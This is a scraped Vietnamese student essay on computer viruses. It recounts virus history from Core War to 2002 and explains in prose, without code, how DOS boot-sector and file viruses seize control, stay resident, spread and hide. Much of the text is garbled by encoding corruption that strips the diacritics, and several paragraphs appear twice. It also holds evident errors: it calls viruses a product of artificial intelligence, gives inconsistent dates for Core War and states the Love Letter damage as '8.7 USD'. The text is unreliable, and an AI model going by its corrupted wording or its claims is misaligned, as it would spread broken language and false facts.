Tải bản đầy đủ (.doc) (31 trang)

đồ án công nghệ thông tin Tìm Hiểu Virus Máy Tính

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (221.51 KB, 31 trang )

Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
LI M U
Trớ tu nhõn to l mt mụn hc chuyờn ngnh bt buc i vi sinh viờn thuc
chuyờn ngnh tin hc. Mụn hc ny trang b cho sinh viờn mt s kin thc c bn nht
v cỏc phng phỏp gii quyt vn v k thut x lý tri thc. ú l mt nn tng
vng chc i sõu nghiờn cu cỏc chuyờn khỏc. S ra i v phỏt trin ca trớ tu
nhõn to ó kộo theo hng lot cụng ngh mi v khoa hc k thut ngy cng phỏt
trin. Cỏc sn phm ca trớ tu nhõn to a s phc v cho mc ớch tt v ngy cng
a dng phong phỳ nh : phn mm phc v cho hc tp v gii trớ v.v
Virus mỏy tớnh cng l mt trong nhng sn phm ca trớ tu nhõn to. Tuy nhiờn õy
l sn phm phn mm cú tớnh cht phỏ hoi m ngi s dng khụng mong mun, nú
phỏ hu nhng d liu quan trng gõy ra hu qu nghiờm trng. Virus máy tính
cũng là một trong những sản phẩm của trí tuệ nhân tạo. Tuy nhiên đây là sản
phẩm phần mềm có tính chất phá hoại mà ngời sử dụng không mong muỗn, nó phá
huỷ những dữ liệu quan trọng gây ra hậu quả nghiêm trọng.
Do mun hiu rừ hn v Virus mỏy tớnh, chỳng tụi quyt nh chn ti v
Virus nghiờn cu.
Trong quỏ trỡnh thc hin ti ny, chỳng tụi nhn c rt nhiu s giỳp
ca cỏc thy cụ b mụn trong trng. Chỳng tụi xin chõn thnh cm n s giỳp ca
cỏc thy cụ b mụn.
õy l mt ti khỏ rng nờn khụng th trỏnh khi s thiu sút. Rt c s
ng h v gúp ý ca thy cụ v cỏc bn .

Xin chõn thnh cm n!

2
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
CHƯƠNG I
TỔNG QUAN VỀ VIRUS
I/ Khái niệm chung về virus
Virus máy tính là gì? Đối với những ngừơi không hiểu nhiều đến máy tính họ có


thể hiểu virus máy tính tưa như một lọai bệnh dịch lây lan nào đó, họ thường phân vân
không hiểu virus sẽ lây ở chỗ nào trong máy tính, và cách chữa trị nó như thế nào?
Thực chất virus máy tính là một chương trình máy tính có khả năng tự sao chép
chính nó từ đối tượng lây nhiễm naỳ sang đối tượng khác(đối tượng có thể là các file
chương trình, văn bản, đĩa mềm,vv…), và chưong trình đó mang tính phá hoại. Virus có
nhiều cách lây lan và tất nhiên có nhiều cách phá hoại, nhưng chỉ cần bạn nhớ rằng đó là
một đoạn chương trình dùng để phục vụ những mục đích không tốt. Có thể coi virus máy
tính nh mét virus trong y học. Nghĩa là nó vừa có khả năng phá huỷ và lây lan. Virus tin
học là tính phá hoại,nó gây ra lỗi thi hành, thay đổi vị trí, mã hoá hoặc huỷ thông tin trên
đĩa.
Virus máy tính do con người tạo ra, cho đến nay có thể coi nó đã trở thành một
bệnh dịch cho những chiếc máy tính. Virus máy tính thường là một phần mềm mà khi bị
kích hoạt có thể gây ra những tổn thương đến máy tính hoặc hệ thống mạng máy tính.
Tuy nhiên virus thường cho khả năng phục hồi lại những tổn thương đã gây ra bằng cách
đánh dấu những thông tin cho phép hồi phục tệp về trạng tháI trước khi bị virus. Với yếu
tố này giúp cho các nhà viết chương trình diệt virus tìm ra các thông tin được dấu trên và
tạo cơ hội phục hồi. Một chương trình virus thường gồm hai cơ chế:
-Cơ chế làm tổn thương đến máy tính hoặc hệ thống mạng máy tính.
-Cơ chế lây lan.
II/ Lịch sử phát triển của Virus máy tính
3
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Virus máy tính có một quá trình phát triển quá dài và nó luôn song hành cùng sự
phát triển của những chiếc máy tính. Khi công nghệ phần mềm còng nh phần cứng phát
triển thì Virus cũng phát triển theo. Hệ điều hành thay đổi thì virus máy tính cũng tự
thay đổi mình để phù hợp với hệ điều hành đó và để có thể ăn bám ký sinh. Tất nhiên là
virus không tự sinh ra.
Có thể việc viết virus mang mục đích phá hoại , thử nghiệm hay đơn giản chỉ là
một thứ đùa vui ác ý. Nhưng chỉ có điều những cái đầu thông minh này khiến chúng ta
phải đau đầu đối phó và cuộc chiến này gần như không chấm dứt và nó vẫn tiếp diễn.

Có nhiều tài liệu khác nhau nói về xuất sứ của virus máy tính. Tuy vậy, đa số
các câu chuyện xoay quanh việc xuất sứ của virus máy tính đều liên quan đến những vấn
đề sau:
- Năm 1986 để lé nguyên lý của trò chơi “Core War”:
Core War là một cuộc đấu trí giữa hai đoạn chương trình máy tính do hai lập
trình viên viết ra. Mỗi đấu thủ sẽ đưa ra một chương trình có khả năng tự tái tạo
được gọi là Organism bộ nhớ máy tính. Khi bắt đầu cuộc chơi, mỗi đấu thủ sẽ cố
gắng phá huỷ Organism của đối phương và tái tạo Organism của mình. Đấu thủ
thắng cuộc là đấu thủ tự nhân bản được nhiều nhất.
Trò chơi Core War này được giữ kín đến năm 1983, Ken Thompson người đã
viết phiên bản đầu tiên cho hệ điều hành UNIX, đã để lé ra khi nhận một trong
những giải thưởng danh dự của giới điện toán – Giải thưởng A.M Turing. Trong
bài diễn văn của mình ông đã đưa ra mét ý tưởng về virus máy tính dùa trên trò
chơi Core War. Cũng năm 1983, Tiến sĩ Frederik Cohen đã chứng minh được sự
tồn tại của virus máy tính.
Tháng 5-1984 tờ báo Scientific America có đăng một bài báo mô tả về Core War
và cung cấp cho độc giả những thông tin hướng dẫn về trò chơI này. Kể từ đó
Virus máy tính xuất hiện và đi kèm theo nó là cuộc chiến giữa những người viết
ra virus và những người diệt virus.
- Năm 1986 –Brain Virus:
4
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Có thể được coi là virus đầu tiên trên thế giới, Brain âm thầm đổ bộ từ Pakistan
vào nước Mỹ với mục tiêu đầu tiên là trường đại học Delaware. Mét nơi khác
trên thế giới cũng đã mô tả sự xuất hiện của virus, đó là đại học Hebrew-israel.
- Năm 1987-Lehigh Virus xuất hiện:
Lại một lần nữa liên quan tới một trường đại học. Lehigh chính là tên của virus
xuất hiện năm 1987 tại trường đại học này. Trong thời gian này cũng có một số
virus khác xuất hiện, đặc biệt Worm virus (Sâu Virus), cơn ác mộng với các hệ
thống máy chủ cũng xuất hiện. Cái tên Jerusalem chắc sẽ làm cho công ty IBM

nhớ mãi với tỗc độ lây lan đáng nể: 500 nghìn nhân bản trong một giê.
- Năm 1988- Virus lây trên mạng:
Ngày 2-11-1988, Robert Morris đưa Virus vào mạng máy tính quan trọng nhất
của Mỹ, gây thiệt hại lớn. Từ đó trở đi người ta mới bắt đầu nhận thức được tính
nguy hại của Virus máy tính.
- Năm 1989-AIDS Trojan:
Xuất hiện Trojan hay gọi là “Con ngựa thành Toroa”, chúng không phải là virus
máy tính nhưngluôn đi cùng với khái niệm virus.”Những chú ngựa thành Toroa”
này khi đã gắn vào máy tính của bạn thì nó sẽ lấy cắp một số thông tin mật trên
đó và gửi đến một địa chỉ mà chủ của chú ngựa này muốn nó vận chuyển đến,
hoặc đơn giản chỉ là phá huỷ dữ liệu trên máy tính của bạn.
- Năm 1991-Tequila Virus:
Đây là loại virus đầu tiên mà giới chuyên môn gọi là virus đa hình, nó đánh dấu
một bước ngoặt trong cuộc chiến giữa cái thiện và cái ác trong các hệ thống máy
tính.
Đây thật sự là loại virus gây đau đầu những người diệt virus và quả thật không
dễ dàng để diệt chúng. Chúng có khả năng thay hình đổi dạng sau mỗi lần lây
nhiễm làm cho việc phát hiện ra chúng quả thật là khó.
- Năm 1992-Michelangelo Virus:
5
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Tiếp nối sự đáng sợ của” Virus đa hình” năm 1991, thì công cụ năm 1992 này
tạo thêm sức mạnh cho các loại máy tính bằng cách tạo ra sự đa hình cực kỳ
phức tạp. Quả thật họ luôn biết gây khó khăn cho những người diệt virus.
- Năm 1995-Concept Virus:
Sau gần 10 năm virus máy tính đầu tiên xuất hiện, đây là loại virus đầu tiên có
nguyên lý hoạt động gần nh hoàn toàn so với những loại virus trước. Chúng gây
ra một cú sỗc cho những công ty diệt virus còng nh những người tình nguyện
trong lĩnh vực phòng chống virus máy tính. Cũng phải tự hào rằng, khi virus này
xuất hiện trên thế giới chưa có loại “kháng sinh ” nào, thì tại Việt Nam đã đưa ra

được giải pháp rất đơn giản để loại trừ loại virus này.
Sau này những virus theo nguyên lý của Concept được gọi chung là Virus Macro,
chúng tấn công vào các hệ soạn thảo của Microsoft (word, exel,powerpoint), và
những nhân viên văn phòng_những người sử dụng không am hiểu lắm về hệ
thống ắt hẳn sẽ không mấy dễ chịu với loại virus thích chọc ngoáy vào công trình
đánh máy của họ này.
- Năm 1996- Boza Virus:
Khi hãng Microsoft chuyển sang hệ điều hành Windows 95 và họ cho rằng virus
không thể công phá thành trì của họ được, thì năm 1996 xuất hiện virus lây trên
hệ đIều hành Windows 95.
- Năm 1999-Melissa, Bubbleboy Virus :
Đây thật sự là một cơn ác mộng đối với các máy tính trên khắp thế giới. Sâu
Melissa không những kết hợp các tính năng của sâu internet và Virus Macro, mà
nó còn biết khai thác một công cụ mà chúng ta thường sử dụng hàng ngày là
Microsoft Outloop Express để chống lại chính chúng ta. Khi máy tính của bạn bị
nhiễm Melissa, nó sẽ tự phân phát mình đi mà khổ chủ không hề hay biết. Và bạn
cũng sẽ rất bất ngờ khi bị mang tiếng là phát tán virus.
6
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Chỉ từ ngày thứ 6 đến thứ 2 tuần sau, virus này đã kịp lây nhiễm 250 ngàn máy
tính trên thế giới thông qua internet, trong đó có Việt Nam, gây thiệt hại hàng
trăm triệu USD. Một lần nữa cuộc chiến lại sang một bước ngoặt mới, báo hiệu
nhiều khó khăn bởi Internet đã được chứng minh là một phương tiện hữu hiệu để
virus máy tính có thể lây lan trên toàn cầu chỉ trong vòng vài tiếng đồng hồ.
Năm 1999 đúng là một năm đáng nhớ của những người sử dụng máy tính
trên toàn cầu, ngoài Melissa, Virus Chernobyl hay còn gọi là CIH đã phá huỷ dữ
liệu của hàng triệu máy tính trên thế giới, gây thiệt hại gần một tỷ USD vào ngày
26-4.
- Năm 2000-DDOS, Love Letter Virus :
Có thể coi là vụ việc virus phá hoại lớn nhất từ trước tới nay, Love Lettert có

xuất xứ từ Philippines do mét sinh viên nước này tạo ra, chỉ trong vòng 6 tiếng
đồng hồ đã kịp đI qua 20 nước trong đó có Việt Nam, lây nhiễm 55 triệu máy
tính, gây thiệt hại 8.7 USD. Nếu Virus này được “cải tiến” một chút thì có thể
gây thiệt hại gấp trăm lần nh thế.
Còn DDOS ? Những virus này phát tán đi khắp nơi, nằm vùng ở những nơi nó
lây nhiễm. Cuối cùng chúng sẽ đồng loạt tấn công theo kiểu” từ chối dịch vụ-
Denial of Service “ ( yêu cầu liên tục, từ nhiều máy đồng thời, làm cho các máy
chủ bị tấn công không thể phục vụ được nữa và dẫn đến từ chối những yêu cầu
mời -> bị vô hiệu hóa) vào các hệ thống máy chủ khi người đIều hành nó phất
cờ, hoặc chúng tự định cùng một thời điểm tấn công. Và một hệ thống đIện thoại
của Tây Ban Nha đã là vật thí nghiệm đầu tiên.
- Năm 2001- Winux Windows/ Linux Virus, Nimda, Code Red Virus:
Winux Windows\Linux Virus đánh dấu những virus có thể lây được trên các hệ
điều hành Linux chứ không chỉ Windows. Chúng ngụy trang dưới dạng file MP3
cho dowload. Nếu bạn là người mê MP3 và mê nhạc thì hết sức cẩn thận.
Nimda, Code red là những virus tấn công các đối tượng của nó bằng nhiều con
đường khác nhau ( từ máy chủ sang máy chủ, sang máy trạm,từ máy trạm sang
7
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
mỏy trm), lm cho vic phũng chng vụ cựng khú khn, cho n tn thỏng 9
nm 2002 , Vit Nam vn cũn nhng c quan vi mng mỏy tớnh cú hng trm
mỏytớnh b Virus Nimda quy nhiu. Chỳng cng ch ra một xu hng mi ca
cỏc loi virus mỏy tớnh l tt c trong một , trong một virus bao gm nhiu
virus , nhiu nguyờn lý khỏc nhau.
- Nm 2002-Sự ra i ca hng lot loi virus mi:
Ngay trong thỏng 1 nm 2002 ó cú mt loi virus mi ra i. Virus ny lõy
nhim file .SWF, iu cha tng xy ra trc ú (shock waveflash-mt loi cụng
c lm cho cỏc trang web thờm phong phỳ). Thỏng 3 ỏnh du s ra i ca loi
virus vit bng ngụn ng C#, mt ngụn ng mi ca Microsoft. Con sõu .net ny
cú tờn l sharpA v c vit bi mt ph n !

Thỏng 5 SQLSpider ra i v chỳng tn cụng cỏc chng trỡnh dựng SQL.
Thỏng 6 cú vi loi virus mi ra i : Perrun lõy qua image JPEG ( cú l bn nờn
cnh giỏc vi mi th). Scalper tn cụng cỏc FreeBSD/Apache Web Server.
Tháng 5 SQLSpider ra đời và chúng tấn công các chơng trình dùng SQL.
Tháng 6 có vài loại virus mới ra đời : Perrun lây qua image JPEG ( có lẽ bạn nên
cảnh giác với mọi thứ). Scalper tấn công các FreeBSD/Apache Web Server.
III/Cỏc loi virus mỏy tớnh v cỏch thc tn cụng
Thụng thng ,dựa vo i tng lõy lan l file hay a m virus c chia
thnh hai nhúm chớnh:
-B-Virus: Virus ch tn cụng trờn Master Boot hay Boot Sector.
-F-Virus: Virus ch tn cụng lờn cỏc file kh thi.
Mc dự cỏch phõn chia ny cng khụng hn l chớnh xỏc. Ngoi l vn cú cỏc virus va
tn cụng lờn Master Boot(Boot Sector) va tn cụng lờn cỏc file kh thi.
cú mt cỏi nhỡn tng quan v Virus , ta xem chỳng dnh quyn iu khin nh th
no
a/ B-Virus:
8
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
Khi mỏy tớnh bt u khi ng (Power on), cỏc thanh ghi phõn on u c t
v 0FFFFh, cũn mi thanh ghi khỏc u c t v 0. Khi máy tính bắt đầu
khởi động (Power on), các thanh ghi phân đoạn đều đợc đặt về 0FFFFh, còn mọi
thanh ghi khác đều đợc đặt về 0. Nh vy, quyn iu khin ban u c trao cho
on mó ti 0FFFFh:0h, on mó ny thc ra ch l lnh nhy JMP FAR n mt on
chng trỡnh trong ROM, on chng trỡnh ny thc hin quỏ trỡnh POST (Power On
Self Test-t kim tra khi khi ng).
Quỏ trỡnh POST s ln lt kim tra cỏc thanh ghi, kim tra b nh, khi to cỏc Chip
iu khin DMA, b iu khin ngt, b iu khin a Sau ú nú s tim cỏc Cart
thit b gn thờm trao quyn iu khin cho chỳng t khi to ri ly li quyn iu
khin. Chỳ ý rng õy l on chng trỡnh trong ROM(Read Only Memory) nờn
khụng th sa i , cũng nh cng khụng th chốn thờm mt on mó no khỏc.

Sau quỏ trỡnh POST, on chng trỡnh trong ROM tin hnh c Boot Secter trờn a
A hoc Master Boot trờn a cng vo RAM (Random Access Memory) ti a ch
0:7C00h v trao quyn iu khin cho on mó ú bng lnh JMP FAR 0:7C00h. õy
l ch m B-Virus li dng tn cụng vo Boot Sector(Master Boot) , ngha l nú s
thay Boot Secter chun bng on mó virus, vỡ th quyn iu khin c trao cho
virus, nú s tin hnh cỏc hot ng ca mỡnh trc, ri sau ú mi tin hnh cỏc thao
tỏc nh thụng thng: c Boot Sector (Master Boot) chun m nú ct giu õu ú
vo 0:7C00h ri trao quyn iu khin cho on mó chun ny, v ngi s dng cú
cm giỏc mỏy tớnh ca mỡnh vn hot ng bỡnh thng.
b/F-Virus:
Khi DOS t chc thi hnh file kh thi ( bng chc nng 4Bh ca ngt 21h) , nó s t
chc li vựng nhớ , tiI file cn thi hnh v trao quyn iu khin cho file ú. F-Virus
li dng im ny bng cỏch gn on mó ca mỡnh vo file ỳng ti v trớ m DOS
trao quyn iu khin cho file sau khi ó ti vo vựng nh. Sau khi F-Virus tin hnh
xong cỏc hot ng ca mỡnh nú mi sp xp , bố trớ tr li quyn iu khin cho file
cho file li tin hnh hot ng bỡnh thng , v ngi s dng khụng th bit
c.Trong cỏc loi B-Virus v F-Virus , cú mt s loi sau khi dnh c quyn Iu
9
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
khin , s tin hnh cI t mt on mó ca mỡnh trong vựng nh RAM nh mt
chng trỡnh thng trỳ( TSR) , hoc trong vựng nh nm ngoi tm kim soỏt ca
DOS nhm mc ớch kim soỏt cỏc ngt quan trng nh ngt 21h, ngt 13h, Mi khi
cỏc ngt ny c gi, virus s dnh quyn iu khin tin hnh cỏc hot ng ca
mỡnh trc khi tr li cỏc ngt chun ca DOS. Khi DOS tổ chức thi hành file khả
thi ( bằng chức năng 4Bh của ngắt 21h) , nó sẽ tổ chức lại vùng nhớ , tảiI file cần thi
hành và trao quyền điều khiển cho file đó. F-Virus lợi dụng điểm này bằng cách
gắn đoạn mã của mình vào file đúng tại vị trí mà DOS trao quyền điều khiển
cho file sau khi đã tải vào vùng nhớ. Sau khi F-Virus tiến hành xong các hoạt động của
mình nó mới sắp xếp , bố trí trả lại quyền điều khiển cho file để cho file lại tiến
hành hoạt động bình thờng , và ngời sử dụng không thể biết đợc.Trong các loại B-

Virus và F-Virus , có một số loại sau khi dành đợc quyền đIều khiển , sẽ tiến hành
càI đặt một đoạn mã của mình trong vùng nhớ RAM nh một chơng trình thờng
trú( TSR) , hoặc trong vùng nhớ nằm ngoài tầm kiểm soát của DOS nhằm mục đích
kiểm soát các ngắt quan trọng nh ngắt 21h, ngắt 13h, Mỗi khi các ngắt này đợc
gọi, virus sẽ dành quyền điều khiển để tiến hành các hoạt động của mình trớc khi
trả lại các ngắt chuẩn của DOS.
IV/Cỏc c im ca B-Virus
1/Phõn loi B-Virus
Sau quỏ trỡnh POST, sector u tiờn trờn a A hoc a Cc c vo vựng nh ti
0:7C00h , v quyn iu khin c trao cho on mó trong sector khi ng ny. B-
Virus hot ng bng cỏch thay th on mó chun trong sector khi ng ny bng
on mó ca nú chim quyn iu khin, sau khi ó ci dt xong mi c sector
khi ng chun c virus ct gi õu ú vo 0:7C00 v tr li quyn iu khin
cho on mó chun ny . Vic ct gi sector khi ng ti v trớ no trờn a tu thuc
loi a v cỏch gii quyt ca tng loi virus. i vi a cng thụng thng nú c
ct gi trong Side 0, cylinder 0 vỡ trong c track ny, DOS ch s dng sector u tiờn
Sau quá trình POST, sector đầu tiên trên đĩa A hoặc đĩa Cđợc đọc vào
vùng nhớ tại 0:7C00h , và quyền điều khiển đợc trao cho đoạn mã trong sector khởi
10
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
động này. B-Virus hoạt động bằng cách thay thế đoạn mã chuẩn trong sector khởi
động này bằng đoạn mã của nó để chiếm quyền điều khiển, sau khi đã cài dặt
xong mới đọc sector khởi động chuẩn đợc virus cất giữ ở đâu đó vào 0:7C00 và trả
lại quyền điều khiển cho đoạn mã chuẩn này . Việc cất giữ sector khởi động tại vị
trí nào trên đĩa tuỳ thuộc loại đĩa và cách giải quyết của từng loại virus. Đối với
đĩa cứng thông thờng nó đợc cất giữ trong Side 0, cylinder 0 vì trong cả track này,
DOS chỉ sử dụng sector đầu tiên cho bng partition. Trờn a mm v trớ ct gi s
phc tp hn vỡ mi ch u cú kh nng b ghi ố thụng tin. Mt s hng dn sau
õy ó c cỏc virus ỏp dng:
S dng sector cui Root Directory, vỡ nú thng ít c s dng.

S dụng cỏc sector cui cựng trờn a , vỡ khi phõn b vựng trng cho file,
DOS tỡm vựng trng t nh n ln cho nờn vựng ny thng ít c s dng.
Ghi vo vựng trng trờn a , ỏnh du trong bng FAT vựng ny l vựng b
hỏng DOS khụng s dng cp phỏt na. Cỏch lm ny an ton hn cỏc cỏch lm
trờn.
Format thờm track v ghi vo track va c format thờm.
tu thuc vo ln ca on mó virus m B-virus c chia lm 2 loi:
a/SB-virus:
Chng trỡnh ca SB-virus ch chim ỳng 1 sector khi ng, cỏc tỏc v ca
SB-virus khụng nhiu v tng i n gin. Hin nay s cỏc virus loi ny thng ít
gp.
b/DB-virus:
õy l nhng loi virus m on mó ca nú ln hn 512 bytes (thng thy).
Vỡ th m chng trỡnh virus c chia thnh 2 phn:
-Phõn u virus: c ci t trong sector khi ng chim quyn iu khin khi
quyn iu khin c trao cho sector khi ng ny. nhim v duy nht ca phn u
l: ti tip phn thõn ca virus vo vựng nh v trao quyn iu khin cho phn thõn
11
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
đó. Vì nhiệm vụ đơn giản như vậy nên phần đầu của virus thường là rất ngắn , và càng
ngắn càng tốt vì càng ngắn thì sự khác biệt giữa sector khởi động chuẩn và sector khởi
động đã bị nhiễm virus càng Ýt, giảm khả năng bị nghi ngờ.
-Phần thân virus: là phần chương trình chính của virus. Sau khi được phần đầu tải vào
vùng nhớ và trao quyền, phần thân này sẽ tiến hành các tác dụng của mình , sau khi
tiến hành xong mới đọc sector khởi động chuẩn vào vùng nhớ và trao quyền cho nó để
máy tính làm việc một cách bình thường như chưa có gì xảy ra cả.
2/Mét số kỹ thuật cơ bản của B-virus:
Dù là B-Virus hay DB-Virus, nhưng để tồn tại và lây lan, chúng đều có một số
các kĩ thuật cơ bản nh sau:
a/ Kĩ thuật kiểm tra tính duy nhất.

Virus phải tồn tại trong bộ nhớ cũng như trên đĩa, song sự tồn tại quá nhiều bản
sao của chính nó trên đĩa và trong bộ nhớ sẽ chỉ làm chậm quá trình Boot máy, cũng
như chiếm quá nhiều vùng nhớ ảnh hưởng tới việc tải và thi hành các chương trình
khác đồng thời cũng làm giảm tốc độn truy xuất đĩa. Chính vì thế, kĩ thuật này là một
yêu cầu nghiêm ngặt với B-virus.
Việc kiểm tra trên đĩa có 2 ảnh hưởng:
Thứ nhất là thời gian kiểm tra:
Nếu mọi tác vụ đọc/ghi đĩa đều phải kiểm tra đĩa thì thời gian truy xuất sẽ bị
tăng gấp đôi, làm giảm tốc độ truy xuất còng nh gia tăng mối nghi ngờ.
Đối với yêu cầu này, các virus áp dụng một số kĩ thuật sau: Giảm số lần kiểm
tra bằng cách chỉ kiểm tra trong trường hợp thay đổi truy xuất từ ổ đĩa này sang ổ đĩa
khác, chỉ kiểm tra trong trường hợp bảng FAT trên đĩa được đọc vào.
Thứ hai là kĩ thuật kiểm tra:
Hầu hết các virus đều kiểm tra bằng giá trị từ khoá. Mỗi virus sẽ tạo cho mình
một giá trị đặc biệt tại một vị trí xác định trên đĩa, việc kiểm tra được tiến hành bằng
cách đọc Boot record và kiểm tra giá trị của từ khoá này. Kĩ thuật này gặp trở ngại vì
12
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
số lượng B-Virus ngàt một đông đảo, mà vị trí trên Boot record thì có hạn.Cách khắc
phục hiện nay của các virus là tăng số lượng mã lệnh cần so sánh để làm giảm khả
năng trùng hợp ngẫu nhiên.
Để kiểm tra tồn tại của mình trong bộ nhớ, các virus đã áp dụng các kĩ thuật
sau: Đơn giản nhất là kiểm tra giá trị Key value tại ột vị trí xác định trên vùng nhớ cao,
ngoài ra một số kĩ thuật khác được áp dụng đói với các virus chiếm ngắt int 21 cua
DOS là yêu cầu thực hiện một chức năng đạc biệt không có trong ngắt này. Nếu cờ báo
lỗi được bật lên thì trong bộ nhớ chưa có virus, ngược lại nếu virus đã lưu trú trong
vùng nhớ thì giá trị trả lại (trong thanh ghi AX chẳng hạn) là một giá trị xác định nào
đó.
b/ Kỹ thuật lưu trú
Sau khi thực hiện xong chương trình POST, giá trị tổng số vùng nhớ được Test

sẽ được lưu vào vùng BIOS Data ở địa chỉ 0:413h. Khi hệ điều hành nhận quyền đIều
khiển, nó sẽ coi vùng nhớ mà nó kiểm soát là giá trị trong địa chỉ này. Vì vậy để lưu
trú, mọi B-virus đều áp dụng kĩ thuật sau đây: Sau khi tải phần lưu trú của mình lên
vùng nhớ cao, nó sẽ giảm giá trị vùng nhớ do DOS quản lý tại 0:413h đi một lượng
đúng bằng kích thước của virus. Tuy nhiên nếu không kiểm tra tốt sự có mặt trong
vùng nhớ, khi bị Boot mềm liên tục, giá trị tổng số vùng nhớ này sẽ bị giảm nhiều lần,
ảnh hưởng tới việc thực hiện của các chương trình sau này. Chính vì thế, các virus
được thiết kế tốt phải kiểm tra sự tồn tại của mình trong bộ nhớ, nếu đã có mặt trong bộ
nhớ thì không giảm dung lượng vùng nhớ nữa.
c/ Kỹ thuật lây lan
Đoạn mã thực hiện nhiệm vụ lây lan là đoạn mã quan trọng trong chương trình
virus. Để đảm bảo việc lây lan , virus khống chế ngắt quan trọng nhất trong việc
đọc/ghi vùng hệ thống: Đó là ngắt 13h, tuy nhiên để đảm bảo tốc độ truy xuất đĩa chỉ
các chức năng 2 và3 (đọc/ghi) là dẫn tới việc lây lan. Việc lây lan bằng cách đọc Boot
sector ( Master Boot) lên và kiểm tra xem đã bị lây chưa ( kỹ thuật kiểm tra đã nói ở
trên). Nếu sector khởi động đó chưa bị nhiễm virus thì virus sẽ tạo một sector khởi
13
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
động mới với các tham số tương ứng của đoạn mã virus rồi ghi trở lại vào vị trí của nó
trên đĩa. Còn sector khởi động vừa đọc lên cùng với thân của virus ( loại DB-Virus) sẽ
được ghi vào vùng xác định trên đĩa. Ngoài ra một số virus còn chiếm ngắt 21 của DOS
để lây nhiễm và phá hoại trên các file mà ngắt 21 làm việc.
Việc xây dựng sector khởi động có đoạn mã của virus phải đảm bảo các kĩ thuật sau
đây:
- Sector khởi động bị nhiễm còn chứa các tham số đĩa phục vụ cho quá trình
truy xuất đĩa, đó là bảng tham sè BPB của Boot Record hay bảng phân
chương trong trường hợp Master Boot. Việc không bảo toàn sẽ dẫn đến việc
virus mất quyền điều khiển hoặc không thể kiểm soát được đĩa nếu virus
không có mặt trong môi trường.
- Sù an toàn của Sector khởi động nguyên thể và đoạn thân của virus cũng

phải được đặt lên hàng đầu. Các kĩ thuật về vị trí cất dấu chúng ta cũng đã
phân tích ở các phần trên.
d/ Kỹ thuật ngụy trang và gây nhiễu
Kỹ thuật này ra đời khá muộn về sau này, do khuynh hướng chống lại sự phát
hiện của người sử dụng và những lập trình viên đối với virus. Vì kích thước của virus
khá nhỏ bé cho nên các lập trình viên hoàn toàn có thể dò từng bước xem cơ chế hoạt
động của virus như thế nào, cho nên các virus tìm mọi cách lắt léo để chống lại sự theo
dõi của các lập trình viên.
Các virus thường áp dụng một số các kỹ thuật sau đây:
- Cố tình viết các lệnh một cách rắc rối như đặt stack vào các vùng nhớ nguy
hiểm, chiếm và xoá các ngắt, thay đổi một cách lắt léo các thanh ghi phân
đoạn để người dò không biết lấy dữ liệu từ đâu, thay đổi các giá trị của các
lệnh phía sau để người sử dụng khó theo dõi .
14
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
- Mã hoá ngay chính chương trình của mình để người sử dụng không phát
hiện ra qui luật, cũng như không thấy một cách ro ràng ngay sự hoạt động
của virus.
- Ngụy trang: Cách thứ nhất là đoạn mã cài vào sector khởi động càng ngắn
càng tốt và càng giống sector khởi động càng tốt. Tuy vậy cách thứ 2 vẫn
được nhiều virus áp dụng: Khi máy nằm trong quyền chi phối của virus,
mọi yêu cầu đọc/ghi Boot Sector ( Master Boot ) đều được virus trả về một
bản chuẩn: Bản trước khi bị virus lây. Điều này đánh lừa người sử dụng và
các chương trình chống virus không được thiết kế tốt nếu máy hiện đang
chịu sự chi phối của virus.
e/ Kĩ thuật phá hoại
Đã là virus thì bao giê cũng có tính phá hoại. Có thể phá hoại ở mức đùa cho
vui, cũng có thể là phá hoại ở mức độ nghiêm trọngm gây mất mát và đình trệ đói với
thông tin trên đĩa.
Căn cứ vào thời điểm phá hoại , có thể chia ra làm 2 loại:

- Loại định thời: Loại này lưu giữ một giá trị, giá trị này có thể là ngày giê, số
lần lây nhiễm, số giê máy đã chạy,…Nếu giá trị này vượt quá một con sè
cho phép, nó sẽ tiến hành phá hoại. Loại này thường nguy hiểm vì chúng
chỉ phá hoại 1 lần.
- Loại liên tục: Sau khi bị lây nhiễm và liên tục, virus tiến hành phá hoại,
song do tính liên tục này, các hoạt động phá hoại của nó không mang tính
nghiêm trọng, chủ yếu là đùa cho vui.
V/Các đặc điểm của F-VIRUS
So với B-virus thì số lượng F-virus đông đảo hơn nhiều, có lẽ do các tác vụ đĩa
với sự hỗ trợ của int 21 đã trở nên cực kỳ dễ dàng và thoải mái, đó là điều kiện phát
triển cho các F-virus.
15
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Thường thì các F-virus chỉ lây lan trên các file khả thi ( có đuôi .COM hoặc
.EXE), tuy nhiên một nguyên tắc mà virus phải tuân thủ là: khi thi hành một file khả thi
bị lây nhiễm, quyền điều khiển phải nằm trong tay virus trước khi virus trả nó lại cho
file bị nhiễm, và khi file nhận lại quyền điều khiển, tất cả mọi dữ liệu của file phải
được bảo toàn.
Đối với F-virus, có một số kỹ thuật được nêu ra ở đây :
1/Kỹ thuật lây lan
Các F-virus chủ yếu sử dụng 2 kỹ thuật: thêm vào đầu và thêm vào cuối.
a/Thêm vào đầu file:
Thông thường, phương pháp này chỉ áp dụng cho các file .COM, tức là đầu vào
của chương trình luôn luôn tại PSP:100h. Lợi dụng đầu vào cố định, virus chiếm đoạn
mã của chương trình virus vào đầu chương trình đối tượng, đẩy toàn bộ chương trình
đối tượng xuống phía dưới. Cách này có một nhược điểm đó là do đầu vào cố định của
chương trình .COM là PSP:100, cho nên trước khi trả lại quyền điều khiển cho chương
trình, phải đẩy lại toàn bộ chương trình lên bắt đầu từ offset 100h. Cách lây này gây
